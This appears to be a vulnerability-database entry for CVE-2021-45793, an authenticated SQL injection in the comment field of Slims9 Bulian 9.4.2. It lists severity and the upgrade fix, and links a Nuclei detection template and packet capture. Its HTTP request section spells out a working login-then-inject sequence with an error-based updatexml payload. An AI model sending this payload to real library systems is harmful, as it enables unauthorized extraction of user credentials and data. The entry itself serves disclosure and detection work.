🔙 목록으로 돌아가기

CVE-2021-45793: Slims9 Bulian 9.4.2 - SQL Injection

TitleSlims9 Bulian 9.4.2 - SQL Injection
Authornblirwn
SeverityHigh
ImpactAuthenticated attackers can exploit SQL injection in the comment field to extract database contents including user credentials and sensitive library data.
RemediationUpgrade to Slims9 Bulian version 9.4.3 or later.
CVSS Score7.5
EPSS Score0.11747
CVE IDCVE-2021-45793
CWE IDCWE-89
Tags cve2021 cve slims sqli vuln

🔍 Vulnerability Description

Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.

🌐 HTTP Request

GET /index.php?p=member&destination HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Accept-Encoding: gzip
POST /index.php?p=member&destination HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15
Connection: close
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

memberID=JNuK1G&memberPassWord=vicPDR&_csrf_token_bima8S=khEtHa&logMeIn=Login
GET /index.php?p=show_detail&id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /index.php?p=show_detail&id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Content-Length: 171
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

comment=%27and%2F**%2F1%3D%28updatexml%281%2Cconcat%280x3a%2Cmd5%288749%29%29%2C1%29%29%2F**%2Fand%2F**%2F%271%27%3D%271&SaveComment=Save+comment&_csrf_token_bima8S=8aWpHP

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45793.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-45793.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A